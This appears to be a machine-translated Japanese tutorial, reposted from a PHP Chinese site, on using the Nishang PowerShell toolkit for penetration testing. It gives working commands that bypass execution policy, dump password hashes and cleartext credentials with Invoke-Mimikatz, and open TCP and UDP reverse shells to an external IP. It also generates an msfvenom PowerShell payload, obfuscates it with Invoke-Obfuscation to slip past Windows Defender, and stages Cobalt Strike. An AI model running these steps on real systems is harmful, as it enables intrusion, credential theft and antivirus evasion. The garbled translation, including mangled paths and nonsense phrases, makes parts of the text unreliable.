最初の PowerShell、まず概念を理解しましょう。PowerShell は、Windows プラットフォームのスクリプト言語である cmd (bat スクリプト言語) のアップグレード バージョンとみなすことができます。これはオブジェクト指向であり、.Net FrameWork と密接に関連しています。 Windows の bash シェルと考えることもできます。 Windows PowerShell は、コマンド ライン ユーザーとスクリプト作成者が .NET Framework の機能を活用できるようにするコマンド ライン シェルおよびスクリプト環境です。ここでは、Windows コマンド プロンプトおよび Windows ホスト環境で得られる知識と作成するスクリプトをさらに拡張する、非常に便利な新しい概念が多数導入されています。コードはディスクに触れることなくメモリ内で実行されます。多くのセキュリティ製品は PowerShell のアクティビティを検出できません。通常、cmd.exe は実行をブロックされますが、PowerShell はブロックされません。実際、侵入テストのプロセス中にいくつかの保護ソフトウェアをバイパスする必要がありますが、スクリプトやその他のツールをバイパスすることに加えて、PoweShell ツールも良い選択です。たとえば、ターゲット ホスト上の魔法のミミカッツをキャプチャするためにパスワードを使用します。フランスの専門家によって作成されたこの魔法のツールは、誰でもよく使用されています。最も驚くべきものは、アクティブな Windows のクリア テキスト パスワードを直接取得できることです。 lsass.exe からアカウントを取得します。しかし、殺生をうまく回避しないと、殺生のない特定の家族のバケツに直接追い越されることになります。 Powershell を使用すると、攻撃者はディスクに触れることなくコマンドを実行できます。一般的に使用されるツールは次のとおりです:
Nishang の概要
Nishang は、PowerShell に基づいた侵入テスト用の特別なツールであり、スクリプトとさまざまなペイロード (パスワードの取得、ポートの取得など) を統合します。スキャン、権限昇格など。このツールは、初心者が毎日の侵入テストで頻繁に使用します。まず、このツールをダウンロードする必要があります。ダウンロード アドレスは、https://github.com/samratashok/nishang です。ダウンロードが完了すると、次のツールに何が含まれているかを確認できます
# 以下では、特定の実験環境を使用して、侵入テスト プロセスで一般的に使用されるモジュールをデモンストレーションします。デモンストレーションの前に、PowerShell の実行時に発生するいくつかの比較について説明する必要があります。ツール。スクリプトを実行するための権限の問題、モジュールのインポートに関する問題などの一般的なエラー。
モジュールを初めてインポートするとき、デフォルトのポリシーが許可されていないため、Powershell は許可されません。この時点では、remotesigned と呼ばれる実行ポリシーを変更して許可する必要があります。
現在の実行ポリシーを確認してみましょう。制限付きでは、管理者権限があってもスクリプトの実行は許可されません。権限を変更し、コマンド
Set-ExecutionPolicy remotesigned を実行する必要があります。現在の実行ポリシーを再度クエリすると、remotesigned が許可されます。スクリプトは再度正常にインポートされます。表示される警告プロンプトは無視してください。
Get-Command -Module nishang
を実行して、インポートされたモジュール内のスクリプト情報を表示します。
このマシンの情報をリストします: Get-Information
これで、実行権限も変更されました。デモンストレーションを開始しましょう。
パスワード キャプチャの波
サーバーを取得したら、ターゲット ホストが物理マシンか仮想マシンかを知る必要があり、次のコマンドを実行します。 Check -VM
まず、nishang にはパスワードをキャプチャするスクリプトも統合されています。まずハッシュ値をキャプチャします:
#Get-PassHashes / /Simple dos インターフェイスでの直接キャプチャと表示;
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out- File hash.txt }" //ハッシュ値を取得し、カスタム ドキュメントに保存します。
#
ハッシュ値をキャプチャできるため、プレーンテキストのパスワードもキャプチャできます。まず、パスワードをキャプチャするスクリプトを見てみましょう。Mimikatz ツールも使用されていることがわかりますが、これは Powershell スクリプトにロードされているだけです。 。
#次のコマンドを使用してクリア テキストのパスワードを取得できます:
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz}" は、現在のシステム ユーザーのクリア テキスト パスワードを直接取得しようとします。 (最も一般的に使用されるコマンド)
ポートリバウンド
侵入テストで、ポート転送を行っていたときに、ファミリーマートのバケットの連続殺害に遭遇し、nc\lcx\sockes エージェントなどが殺害され、時々傍受されました。この時点で、nishang でポート転送スクリプトを使用できます。ここでは、組み込みのポート フォワーディングの紹介に加えて、MSF を使用したポート フォワーディングも実験します。どちらの場合もパブリック ネットワーク サーバーが必要です。
1. TCP ポート フォワーディング (逆接続)
パブリック ネットワーク サーバーで listen コマンドを実行します: nc -lvp 5555
ターゲット ホストはポート フォワーディング コマンドを実行します。 Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx.115 -Port 5555
このようにして、ターゲット ホストとパブリック ネットワークでそれぞれコマンドを実行した後、パブリック ネットワーク サーバーはシェルを再バインドします。 , これにより、イントラネット サーバー コマンドを実行できるようになります。
2. UDP ポート転送 (リバース接続)
パブリック ネットワーク サーバーで監視コマンドを実行します: nc -lup 6666
ターゲット ホストはポート転送コマンドを実行します: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx.xxx.115 -Port 6666
Exceptリバース接続にはフォワード接続もあります。私はペネトレーション テストでリバース接続をよく使用します。大手がフォワード接続に興味がある場合は、試してみてください。さて、ポート転送に PowerShell と MSF を使用します。まず、次のコマンドを使用して MSF に PowerShell モジュールがあるかどうかを確認します:
msfvenom -l payloads |grep 'reverse_powershell //場所をクエリするPowerShell モジュールの。
MSF を使用して、リバウンド ポートのコマンド
##msfvenom -p cmd/windows/reverse_powershell lhost=106 を生成します。 xxx .xxx.115 lport=9999 r //ペイロードを生成します。タイプは Powershell です。赤でマークされたセクションは、ターゲット ホストで実行する必要があるコマンドです。
次のステップでは、ターゲット ホスト上で生成した PowerShell コマンドを実行し、パブリック ネットワーク サーバー上のポート 9999 をリッスンします。このようにして、ターゲット ホストのシェルをパブリック ネットワーク サーバーに正常にバウンスできます。
生成する通常のペイロードは Windows Defender によって強制終了されるため、難読化を使用してターゲット ホスト上で Windows Defender をバイパスする方法についても検討します。このチェックメカニズムをバイパスする必要があります。上記のペイロードを例として難読化して Windows Defender をバイパスしてみましょう。場合によっては、生成した通常のペイロードをターゲット ホスト上で直接実行し、Windows Defender によって直接インターセプトされる可能性がありますが、難読化のためのツールは間違いなく、Daniel Bohannon が提供する Invoke-Obfuscation です。プロジェクトの Github ページにあります。
最初に、Invoke-Obfuscation ツールを開始します。
Import-Module ./Invoke-Obfuscation.psd1 //Import Invoke-Obfuscation.psd1;
# #Invoke -Obfuscation //Invoke-Obfuscation ツールを開始します;
次に、生成したばかりのポート転送のペイロードを難読化します。まず、さまざまな難読化について見てみましょう。処理方法:
#
ペイロードのどの部分を難読化する必要があるかは、事前に指定する必要があります。これは次のコマンドで実行できます:
Set scriptblock 'payload';
コマンド全体を文字列として難読化することを選択します (具体的な選択は特定の侵入テスト環境に基づいています):
Select 1 ASCII 難読化の場合は、「1.ps1」と入力して出力を表示します。このコマンドは、難読化されたファイルを現在のディレクトリと 1.ps1 に保存することと同じです。 ## in the target ホスト上でこのスクリプトを実行します。パブリック ネットワーク サーバーはポート 9999 をリッスンし、イントラネット ホストのシェルを正常に再バインドすることもできます:
#powershell および cobaltstrike ツール 別の Spark を作成する
#Cobalt Strike は、Metasploit に基づく GUI フレームワーク侵入テスト ツールであり、ポート転送、サービス スキャン、自動オーバーフロー、およびマルチ-mode ポート監視、exe、powershell トロイの木馬生成などこのツールは、イントラネットへの侵入のための強力なツールでもあります。PowerShell と Cobalt Strike がどのような影響を与えるかについて話しているところです。
Cobalt Strike をクライアントとサーバーにそれぞれインストールしてから、このツールを起動する必要があります:
最初にポートをリッスンし、パブリック IP アドレスをホスト アドレスとして書き込み、次に PowerShell コマンドを生成し、ターゲット ホストでこのコマンドを実行すると、ターゲット ホストがオンラインになり、リモートでパスワードを取得して権限を昇格できます。 、監視およびその他の操作:
##正直に言うと、これらは 2 つのツールですI ここで生成される火花はほんの少しですが、他にも多くの操作があります。興味のある専門家はそれを研究してください。このツールはイントラネットの侵入によく使用されます。
以上がPowerShell 侵入テスト ツール Nishang の使用方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。